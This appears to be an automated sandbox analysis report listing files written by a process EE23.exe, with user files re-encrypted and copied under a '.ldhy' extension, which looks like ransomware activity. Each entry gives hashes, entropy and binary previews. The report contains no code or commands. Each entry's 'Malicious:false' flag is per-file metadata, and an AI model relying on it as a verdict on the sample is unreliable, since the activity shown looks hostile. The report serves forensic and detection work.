                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846203816528254
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:8igeac+AGtddACifP13mM00SLIijLoAYCCQCJ/lQQY4hx9cJsbD:b3ac+AgsCq1WM00SR3GCC1TuJmD
                                                                                                                                                                                                                                                              MD5:75545A02D26DE5367F762F746E1AA75A
                                                                                                                                                                                                                                                              SHA1:141BF0D3442FBFE8763DD1E653691F8B3096FA13
                                                                                                                                                                                                                                                              SHA-256:1AC5DA892A035F0FDB8B1B606D1E25A91336A8C9E172F5964879AEA69C5DBE09
                                                                                                                                                                                                                                                              SHA-512:3CD58C377F0F62B40113683DDD9FB4F82C6ACBCC6E35D42DF7F3150485956B8C0B406F4A02CC3F3F993257646087A95FFE3A97443EEC02C725C5422CDA38F199
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.u.......]!....{..fJ...a.6|h.a...!$c-.....M...g..3.8_n.?.1..l.;..B:Z..\%O.2...r....m<._J..%/.l...J..]|i........t|U.Y.........-.aE.v...f.q.T.H@..o.X.Nw.g........ZF.P.lAy....-.]..8..8.~F.gF.D.l.iv3.G`."......l..p.u..)...o.kY..yrd...V......]...+.K..........Q..u.......t">..7.Q..F^]g.')....Z.>s....%C%V.)4.$....X...X.En..f....^{H..g..i...jrM.&......:.^o.N..x{D....J.._..v.....zg.f..eO|....ja....=+1e...|sg....)..q..h...-.o.~....P.M..U.3v....J..#8.,..k..v5f<o. .zYm59......f......)TN..3..... .....JS1...V.w.x....]...&..[Ot.q.6.up....O...Q...M.L.:.t.O.-.y......X....r~...|v...kP.R..+..1.\...K...C5.,.[..OE...)b*.g.5'.f..u.UAU.[}..a..U....../.7...L.0....JP~.i KQ^P}...o...#3m_.V....o..O.N....y.e1.zP.q....K..n..E.S..q...i...O....."dCKfr...;.A.Y`r4..~..`.....e.B.....n..^.].>..#...j.d.k.,.x.;...6....0)%: .?p..CmE...`o..4e.........%.8.#`j....F6.Q):.......#...!.`....k]...4.......R...,...D.\........a<....D-..3.^B8i......Mg.I;..N*;PR.y..H.}x....{.5.^S...N...kw..b.#.aZ2

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844390766498392
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:PpGgFpmuwPowy1g2bQgLW50SJOoZtPEj7GdPPichUXRkK4Zrm88mGkBV3fsbD:Pp3dwPc1g6L4JOecudXiMUXRF4ZiH2P+
                                                                                                                                                                                                                                                              MD5:9172EE4FDAFFBE40399FBF5EF625C83A
                                                                                                                                                                                                                                                              SHA1:B3A44A532712BCFD49424471C302A83E747A1EEC
                                                                                                                                                                                                                                                              SHA-256:ED69C0F9620F031A08F9BA8121D30303103C37486BD9B2A3027944679451E62A
                                                                                                                                                                                                                                                              SHA-512:34A688DDA71C292F1A4F77981357C710C4ED3D68CFF983A061B59557E921430A96F3E7D7A4C39932B40CF4051C67CF057829140D0ADAD2E2EAC4B09831B9C9E7
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA.....@Z\...vi.'.k.O..ua.y.-e%r....^...g....E~&.G.N......C.(...a.W6.nl.......&..[....J.X.K..gZ..9.#.......%.zJ....a..y....F..:<.^....m.....Pt..7Q..X..[~..tdw.......U.`*..\.....K.uo3.......7=...r.S..P..*i..N..v..r....^p.......!...G.7....qe.;n..........yK...".....zNX..&.0.%..fR-..FzD...R...).6.).<w...&.m.o!.o.)d.k...^.zCf&( ...$.pS@.Sjl..L.U.#G/!ei.wj.U..g..../%^. 7...9..>K.zk.iY..4...)..p.%]..(F.~.....V .K.......0.>...0IwH8.0.:.@.;.0k..si./..=.TB.*^..Y...wjv..5X...|..E...#p..x.:.....p../+=..U..x[0....|.^.x".$..9.Z.s.K2\.8=_*.-..(...#...]......&U....[w..H..XI.p......UR.D...}U..t... "...Dz{..0.Z.w.h.2e..k..@[iM..Z....=dNk..4.S(.6J&.?&...p....\u:>......`..@.....x...]..O..3......~....`.....\..W...))..sy.b.eW.c,.hO.YKkN..v<..../yh.. .I....i.h.NgjgRT..|?P..).X.MV....W1.g..-....AJvr..U.....[xw...s...p..p.*6'.R...,b.{..V2._......EZ.[.N..yOE.,|.J..{4..GA.b.8.dJ..lkTj.Z.0...V[.XA.{6.,A<U..^.....=.I(r......*....~......m.B.....l.IuJ..g.7

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.844390766498392
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:PpGgFpmuwPowy1g2bQgLW50SJOoZtPEj7GdPPichUXRkK4Zrm88mGkBV3fsbD:Pp3dwPc1g6L4JOecudXiMUXRF4ZiH2P+
                                                                                                                                                                                                                                                              MD5:9172EE4FDAFFBE40399FBF5EF625C83A
                                                                                                                                                                                                                                                              SHA1:B3A44A532712BCFD49424471C302A83E747A1EEC
                                                                                                                                                                                                                                                              SHA-256:ED69C0F9620F031A08F9BA8121D30303103C37486BD9B2A3027944679451E62A
                                                                                                                                                                                                                                                              SHA-512:34A688DDA71C292F1A4F77981357C710C4ED3D68CFF983A061B59557E921430A96F3E7D7A4C39932B40CF4051C67CF057829140D0ADAD2E2EAC4B09831B9C9E7
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PIVFA.....@Z\...vi.'.k.O..ua.y.-e%r....^...g....E~&.G.N......C.(...a.W6.nl.......&..[....J.X.K..gZ..9.#.......%.zJ....a..y....F..:<.^....m.....Pt..7Q..X..[~..tdw.......U.`*..\.....K.uo3.......7=...r.S..P..*i..N..v..r....^p.......!...G.7....qe.;n..........yK...".....zNX..&.0.%..fR-..FzD...R...).6.).<w...&.m.o!.o.)d.k...^.zCf&( ...$.pS@.Sjl..L.U.#G/!ei.wj.U..g..../%^. 7...9..>K.zk.iY..4...)..p.%]..(F.~.....V .K.......0.>...0IwH8.0.:.@.;.0k..si./..=.TB.*^..Y...wjv..5X...|..E...#p..x.:.....p../+=..U..x[0....|.^.x".$..9.Z.s.K2\.8=_*.-..(...#...]......&U....[w..H..XI.p......UR.D...}U..t... "...Dz{..0.Z.w.h.2e..k..@[iM..Z....=dNk..4.S(.6J&.?&...p....\u:>......`..@.....x...]..O..3......~....`.....\..W...))..sy.b.eW.c,.hO.YKkN..v<..../yh.. .I....i.h.NgjgRT..|?P..).X.MV....W1.g..-....AJvr..U.....[xw...s...p..p.*6'.R...,b.{..V2._......EZ.[.N..yOE.,|.J..{4..GA.b.8.dJ..lkTj.Z.0...V[.XA.{6.,A<U..^.....=.I(r......*....~......m.B.....l.IuJ..g.7

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\BNAGMGSPLO.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847556084948026
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:sWXrHd9JcnqPLjXagLhoyj3jPQTkmB2xqFb0APc8DUB2uMdjQxAEB//hhS1NXymH:sWVLEk3jITdthPbDYJMSxrry0mTKmD
                                                                                                                                                                                                                                                              MD5:32113B689B7AB39344075088D9F59FB3
                                                                                                                                                                                                                                                              SHA1:60AC25D94F96F04908960EF00EEAC47EF8FF04DA
                                                                                                                                                                                                                                                              SHA-256:61F9738C1E2D1E6800D005131F96C463A506489A97542AC019F2570E65FE915F
                                                                                                                                                                                                                                                              SHA-512:8C491E43D2468732844FF3E6003775D9821FC790BB6C1FFDB4620102B12F86177ECA6BD59E6BC1404EDDDC436BF85CB743314EB00E2A109823C7EE6CFC4FE127
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGM}....G[..#...^.3<.g.... J....c.9g...m.....cE.r.ZR.~`x....v@M....3zI.%;.\......9{&o....-F...3@0.......\.H....5....}.\.X./..%.........pr.|r"8*..3...v...V.>.L.>....W.&..#...k....v....9.M07....F.R&(.&..`.....F.x.H...d....U.'...k....d.)..=.{...a.....b.%K)-......#.-.k...T[.....D..d3....Pu~...i#R.$........)$..1..C2l|.9D......=......4g.0....1....s..z...N....s1'.)...Q:..j.1...QV..YH`.....dS..ci.da.(....G..LW'..Q...%@..[..3OW.../|8.~.s.b.....N3.....8@p3...R).V2.7"..qr5...t.d....L*..c..I..Zu..>e..K..>-.../.........,.......6.1Ct.Q>.q.y?.B.V;.VN.....y.SL..Js9...=....#.%..c...q...W.r'm.H.tc;n..**...l.|.~....(.......5.....+.Q=..A..xo..0c.M.(.....&]..d^......t.....u@... F)]..Zz&...i. .7.7V........j....Q....R....D......3....,.K..G5..y.....mc.#.7o7PQ...u #...G.|....7^7.9.0..hp.D/.O......l.."u...dH..nud..{....1Cfd...q.......K..?.Lm.1.yj..3..i.GPH8.......E...[.D...e..I......N....a.....Z.....o..'.F..k...S.y...C......N..5..o.'.P...p4...p.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\BNAGMGSPLO.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847556084948026
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:sWXrHd9JcnqPLjXagLhoyj3jPQTkmB2xqFb0APc8DUB2uMdjQxAEB//hhS1NXymH:sWVLEk3jITdthPbDYJMSxrry0mTKmD
                                                                                                                                                                                                                                                              MD5:32113B689B7AB39344075088D9F59FB3
                                                                                                                                                                                                                                                              SHA1:60AC25D94F96F04908960EF00EEAC47EF8FF04DA
                                                                                                                                                                                                                                                              SHA-256:61F9738C1E2D1E6800D005131F96C463A506489A97542AC019F2570E65FE915F
                                                                                                                                                                                                                                                              SHA-512:8C491E43D2468732844FF3E6003775D9821FC790BB6C1FFDB4620102B12F86177ECA6BD59E6BC1404EDDDC436BF85CB743314EB00E2A109823C7EE6CFC4FE127
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGM}....G[..#...^.3<.g.... J....c.9g...m.....cE.r.ZR.~`x....v@M....3zI.%;.\......9{&o....-F...3@0.......\.H....5....}.\.X./..%.........pr.|r"8*..3...v...V.>.L.>....W.&..#...k....v....9.M07....F.R&(.&..`.....F.x.H...d....U.'...k....d.)..=.{...a.....b.%K)-......#.-.k...T[.....D..d3....Pu~...i#R.$........)$..1..C2l|.9D......=......4g.0....1....s..z...N....s1'.)...Q:..j.1...QV..YH`.....dS..ci.da.(....G..LW'..Q...%@..[..3OW.../|8.~.s.b.....N3.....8@p3...R).V2.7"..qr5...t.d....L*..c..I..Zu..>e..K..>-.../.........,.......6.1Ct.Q>.q.y?.B.V;.VN.....y.SL..Js9...=....#.%..c...q...W.r'm.H.tc;n..**...l.|.~....(.......5.....+.Q=..A..xo..0c.M.(.....&]..d^......t.....u@... F)]..Zz&...i. .7.7V........j....Q....R....D......3....,.K..G5..y.....mc.#.7o7PQ...u #...G.|....7^7.9.0..hp.D/.O......l.."u...dH..nud..{....1Cfd...q.......K..?.Lm.1.yj..3..i.GPH8.......E...[.D...e..I......N....a.....Z.....o..'.F..k...S.y...C......N..5..o.'.P...p4...p.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847711709026452
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:2xc77RTfUzCcfaaKA4a7flpOy8LSaZrsjmc7odypJ0W8nsbD:26ozffaRA4qp+OaVwz0lnmD
                                                                                                                                                                                                                                                              MD5:F7212B9D0D349DC2E263921C6C2BF88C
                                                                                                                                                                                                                                                              SHA1:23B02C8996E7C50F29E081C82A9B91E280CF4FCE
                                                                                                                                                                                                                                                              SHA-256:8BD15359751253BC1574C534509971A67FACD37FAA293EEB74E93C37E8D379F2
                                                                                                                                                                                                                                                              SHA-512:5C3F08ECA23BFE6FB68B3519520F42C451B022FF32235BEF0E80A5BDC910BE933EEE02B69B9403FB4C20F016D5BD7447A7F3559C65B745751644C24C9B2883A9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWXk.H..-..vl.....k........Q.!.......e=.Ff..y.F.Mw..._.U..x.fO..W..R./..+.......l9....IGx..~:..A...a..../\....I.Z.../.vBQU..2..G..-9^h..u...|.T.$Erd..w.q.\..t...$Ag..nR.Nd...$....h#O..,.a.h.1G.....UD.1.J.$......l..%.=...vk......!.5....M`^....33..s.?....N....Vo.&.\.....]..%|.8..o.@&o/whn...P i...,`..S*.....<....3.*.....q=5..X.8tr..o.#M.~.$.6....2.$..(<......Z.7..=/......C...I\.......-.RL.V.A._JM8..... *.R....v.......j.....+..w.....$>DA..z.$.^X..-.]r.......ZAf.rh...B....?..%m-.@~..2].y....Q,f...:./w........#.q./..&.:.._...5...q)%..V....2.o}twf.c..j...{.Jp...7..P....,.g_.[P.>j..u.......t......F...K.IQw..._..U.7ecR.......E4(.wLk(."..>3.`....&.._.1...U..0..h8o#.V./.4X<....|.o..J...../....>..<Q{$K.=^.....&....V..7..J.$.....Q.,|X6...'..9..8.P..b.o...n."s......+0.^..)Ti..dL...s.M.o..yO.a...y*WQ..P./..cN.@f!V.dO..T^.J..}.qF.[.p.S..3..a......@.d.t...Z..........R..c.F.2......+....b.....9]........PBcJ....M..]..aAn...Y2q....Uc.a.0.=#...K1.......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847711709026452
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:2xc77RTfUzCcfaaKA4a7flpOy8LSaZrsjmc7odypJ0W8nsbD:26ozffaRA4qp+OaVwz0lnmD
                                                                                                                                                                                                                                                              MD5:F7212B9D0D349DC2E263921C6C2BF88C
                                                                                                                                                                                                                                                              SHA1:23B02C8996E7C50F29E081C82A9B91E280CF4FCE
                                                                                                                                                                                                                                                              SHA-256:8BD15359751253BC1574C534509971A67FACD37FAA293EEB74E93C37E8D379F2
                                                                                                                                                                                                                                                              SHA-512:5C3F08ECA23BFE6FB68B3519520F42C451B022FF32235BEF0E80A5BDC910BE933EEE02B69B9403FB4C20F016D5BD7447A7F3559C65B745751644C24C9B2883A9
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EEGWXk.H..-..vl.....k........Q.!.......e=.Ff..y.F.Mw..._.U..x.fO..W..R./..+.......l9....IGx..~:..A...a..../\....I.Z.../.vBQU..2..G..-9^h..u...|.T.$Erd..w.q.\..t...$Ag..nR.Nd...$....h#O..,.a.h.1G.....UD.1.J.$......l..%.=...vk......!.5....M`^....33..s.?....N....Vo.&.\.....]..%|.8..o.@&o/whn...P i...,`..S*.....<....3.*.....q=5..X.8tr..o.#M.~.$.6....2.$..(<......Z.7..=/......C...I\.......-.RL.V.A._JM8..... *.R....v.......j.....+..w.....$>DA..z.$.^X..-.]r.......ZAf.rh...B....?..%m-.@~..2].y....Q,f...:./w........#.q./..&.:.._...5...q)%..V....2.o}twf.c..j...{.Jp...7..P....,.g_.[P.>j..u.......t......F...K.IQw..._..U.7ecR.......E4(.wLk(."..>3.`....&.._.1...U..0..h8o#.V./.4X<....|.o..J...../....>..<Q{$K.=^.....&....V..7..J.$.....Q.,|X6...'..9..8.P..b.o...n."s......+0.^..)Ti..dL...s.M.o..yO.a...y*WQ..P./..cN.@f!V.dO..T^.J..}.qF.[.p.S..3..a......@.d.t...Z..........R..c.F.2......+....b.....9]........PBcJ....M..]..aAn...Y2q....Uc.a.0.=#...K1.......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\EFOYFBOLXA.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.853986945676036
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:K/ttz45XyUminlqXgAKxi6cRxIvs8hEWW0ugaXRUIWJDVXCZrAyvqy0Ua4IhfsbD:KMwyn8gNxiLCsazWhR6llkAqqMa4IFmD
                                                                                                                                                                                                                                                              MD5:107D07890C211F7BD6FB8613CDF060F2
                                                                                                                                                                                                                                                              SHA1:1C329ABA1AA0F55C6EF21615E34CB1D920EC7F6B
                                                                                                                                                                                                                                                              SHA-256:14FCDCF91DBFFA9A58BDA16030AC4C4CCA854DD81011AE48BDB62550B321C21C
                                                                                                                                                                                                                                                              SHA-512:6BEC02079763F0C1937BDB70FA99D11EE9329B5064B99ADE47E691067586C1508D1328024CA9CEDE8DB10208DEF01CC0C31F4C340F649A83393089E7251DDE24
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF(....-Y..'.*SO.[.K.mx.W".Q....IuA..{....@...tw|e..BB....6..f...;$..o...-....*Rw...X...S.~....Bd:.zIg?.F1/.G.;... .e.nL......wa.[..V.._..p..{.......V.C...T.....k..K.@.$.x..~Am.......=t.......KX-.H...Y..ax.::..9....vyj;V.9.....B"p8`).J>...)....?.K.....4}7..C>.9[...........t.`b.*/..J..5......R/{.h...&......p&......v.H.l....Ee...2k.._..g...P........<......D'4.8......&..+Y...E....W.......0|sz).L......8.5.5..#$Y...X.p5.Oy.....iy. u.......v....;5s$sU.R.v\E..:.h5p...S.. .W?...G7w.;!.*?-S...Y.*#.........y.W.G...>{.n7K...,..,lx...M..k....,..P..U~.p{+.Wk.%.u..e....P#QV..z.p:..~..C8..~Y.LA....o.K|FB......F...M*....Z.9...emK.@...kf..G.9.6.c......`B.^T.....*...6....gp.6J.;?.?..B....%&R.......%...<...N. .A....^..<.>.Ta..#.z>Kj..".].IY...6....}...)V..c.T...r7F...4.B.7eV..sI..`.a.W.+.*.{4N,..#..M.._.....%L.3.;cp..4.N..[8.....>\=%G..<.].....[@_.....t.![.....cP..+]|.]V.K.Y.X...u.lrt~......V<..X.....p>.)^...L...'........Hck@q"-.lOU..2....g..d..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\EFOYFBOLXA.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.853986945676036
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:K/ttz45XyUminlqXgAKxi6cRxIvs8hEWW0ugaXRUIWJDVXCZrAyvqy0Ua4IhfsbD:KMwyn8gNxiLCsazWhR6llkAqqMa4IFmD
                                                                                                                                                                                                                                                              MD5:107D07890C211F7BD6FB8613CDF060F2
                                                                                                                                                                                                                                                              SHA1:1C329ABA1AA0F55C6EF21615E34CB1D920EC7F6B
                                                                                                                                                                                                                                                              SHA-256:14FCDCF91DBFFA9A58BDA16030AC4C4CCA854DD81011AE48BDB62550B321C21C
                                                                                                                                                                                                                                                              SHA-512:6BEC02079763F0C1937BDB70FA99D11EE9329B5064B99ADE47E691067586C1508D1328024CA9CEDE8DB10208DEF01CC0C31F4C340F649A83393089E7251DDE24
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:EFOYF(....-Y..'.*SO.[.K.mx.W".Q....IuA..{....@...tw|e..BB....6..f...;$..o...-....*Rw...X...S.~....Bd:.zIg?.F1/.G.;... .e.nL......wa.[..V.._..p..{.......V.C...T.....k..K.@.$.x..~Am.......=t.......KX-.H...Y..ax.::..9....vyj;V.9.....B"p8`).J>...)....?.K.....4}7..C>.9[...........t.`b.*/..J..5......R/{.h...&......p&......v.H.l....Ee...2k.._..g...P........<......D'4.8......&..+Y...E....W.......0|sz).L......8.5.5..#$Y...X.p5.Oy.....iy. u.......v....;5s$sU.R.v\E..:.h5p...S.. .W?...G7w.;!.*?-S...Y.*#.........y.W.G...>{.n7K...,..,lx...M..k....,..P..U~.p{+.Wk.%.u..e....P#QV..z.p:..~..C8..~Y.LA....o.K|FB......F...M*....Z.9...emK.@...kf..G.9.6.c......`B.^T.....*...6....gp.6J.;?.?..B....%&R.......%...<...N. .A....^..<.>.Ta..#.z>Kj..".].IY...6....}...)V..c.T...r7F...4.B.7eV..sI..`.a.W.+.*.{4N,..#..M.._.....%L.3.;cp..4.N..[8.....>\=%G..<.].....[@_.....t.![.....cP..+]|.]V.K.Y.X...u.lrt~......V<..X.....p>.)^...L...'........Hck@q"-.lOU..2....g..d..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\NVWZAPQSQL.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8709191142378225
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FTZ6uid9cZoFc4Fvl/CIm0I2/Sk433YojqHL4zl2FetpdN0M0PslAmIPHRkZsbD:FTnKK+uWLA27+bqHU+6X0PsllIPxkZmD
                                                                                                                                                                                                                                                              MD5:C7327CFB69F410D89D15844083401045
                                                                                                                                                                                                                                                              SHA1:96CE888DFBF4530334C975C96045885B5724C2D5
                                                                                                                                                                                                                                                              SHA-256:C60AC9223402B0A3000C7F96D5368C4443011AA1CA6E6715BDD95CAADBFFA7C2
                                                                                                                                                                                                                                                              SHA-512:C129D763E3FB2372763644D7B321D07FE708676E8A5CC904A432BC9DDB2BEA5157E5DD07B677F4DA9E794C1E1833A60BBF4A6E7648190D970EE0ECCF71ED266C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA..M......-..l.7+.Z.2sry<F.%..(|.w.}..^....N..sLg.E..|6.Z~.... ..*....KB..x.h...V"...k}.q....4.V.-..n-.=.:.=...G..y`YZ..O...M.Q.?83ow........Y^...?f....du..G..1..KWZ..j.../+....>,.^=..#.1g...^...........G........%..:....'.A.G..a.......j.-..$=i.r...|>0B....t.&ZoQZ....k.2n(. Ag.f!.%>E....sN.BY.-.=U1.>.Fu(o.*..+.ra....uS..#....@.x..o.......l.._..B......XSnN)..u.o~.Z.f.....f.te..u.v...9.@...N...9._!.-............._...<v.3.......s.P:.Tu@.3....g7J+D.....Q.Y.#.i..;6.|..PQ.....e.m[.a../t_L:.S.)....6....`..U6..2OB.;"...........;.6ycd.TyA...G......'B..aw.#A......O3.r.1u^.0.,..J....n.uli:+Rm...c7k..../g..s...nl.....G..k....k%..M.......[d.8.Sp.85..>.3..MrO(z..t......O...b.X......)....I<...&..#.....,..j.xE......;h..e..v...)n..,k.......J3...+....D.y........$.=.....~Q......z...S%..@....R\L?~O.D...'V. 6...hf_b;|*.@.<.!.0.7.B/.....x.Z.....f.U..g..b...].j8..c.....1..b...e..\S....o.KX...e..&..r......wb.*..&q.-..9.Zg5J..-.~.;#\<R.L.4...<H.0...g.}.......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\NVWZAPQSQL.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8709191142378225
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FTZ6uid9cZoFc4Fvl/CIm0I2/Sk433YojqHL4zl2FetpdN0M0PslAmIPHRkZsbD:FTnKK+uWLA27+bqHU+6X0PsllIPxkZmD
                                                                                                                                                                                                                                                              MD5:C7327CFB69F410D89D15844083401045
                                                                                                                                                                                                                                                              SHA1:96CE888DFBF4530334C975C96045885B5724C2D5
                                                                                                                                                                                                                                                              SHA-256:C60AC9223402B0A3000C7F96D5368C4443011AA1CA6E6715BDD95CAADBFFA7C2
                                                                                                                                                                                                                                                              SHA-512:C129D763E3FB2372763644D7B321D07FE708676E8A5CC904A432BC9DDB2BEA5157E5DD07B677F4DA9E794C1E1833A60BBF4A6E7648190D970EE0ECCF71ED266C
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:NVWZA..M......-..l.7+.Z.2sry<F.%..(|.w.}..^....N..sLg.E..|6.Z~.... ..*....KB..x.h...V"...k}.q....4.V.-..n-.=.:.=...G..y`YZ..O...M.Q.?83ow........Y^...?f....du..G..1..KWZ..j.../+....>,.^=..#.1g...^...........G........%..:....'.A.G..a.......j.-..$=i.r...|>0B....t.&ZoQZ....k.2n(. Ag.f!.%>E....sN.BY.-.=U1.>.Fu(o.*..+.ra....uS..#....@.x..o.......l.._..B......XSnN)..u.o~.Z.f.....f.te..u.v...9.@...N...9._!.-............._...<v.3.......s.P:.Tu@.3....g7J+D.....Q.Y.#.i..;6.|..PQ.....e.m[.a../t_L:.S.)....6....`..U6..2OB.;"...........;.6ycd.TyA...G......'B..aw.#A......O3.r.1u^.0.,..J....n.uli:+Rm...c7k..../g..s...nl.....G..k....k%..M.......[d.8.Sp.85..>.3..MrO(z..t......O...b.X......)....I<...&..#.....,..j.xE......;h..e..v...)n..,k.......J3...+....D.y........$.=.....~Q......z...S%..@....R\L?~O.D...'V. 6...hf_b;|*.@.<.!.0.7.B/.....x.Z.....f.U..g..b...].j8..c.....1..b...e..\S....o.KX...e..&..r......wb.*..&q.-..9.Zg5J..-.~.;#\<R.L.4...<H.0...g.}.......

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PIVFAGEAAV\PIVFAGEAAV.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.850466648416955
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:GfYyKY3ja34N/Gr+HahajnknYEHaLIeBXRaKOZGM0Z0GzaLjnSvJsbD:GfY/r+6UjnknYEHa8URaFZGxZqLjOJmD
                                                                                                                                                                                                                                                              MD5:6B3A25540E90CF6CC839A873BC7961EA
                                                                                                                                                                                                                                                              SHA1:B58738D83C809DD44C55340A78A5950810AD2032
                                                                                                                                                                                                                                                              SHA-256:FA1E10F3675BBA1EA621C55EB37497C79FFD86803323F8A491230C33D5B6F2CA
                                                                                                                                                                                                                                                              SHA-512:B39AD33011BFA5BD151F3E8BB68FA2021B492E04A8058BFD224B116FE6612ED35231693BFEFABB159600B2BAE5730FA049BA267DF2601CD6C529C168F5E1A480
                                                                                                                                                                                                                                                              Malicious:false
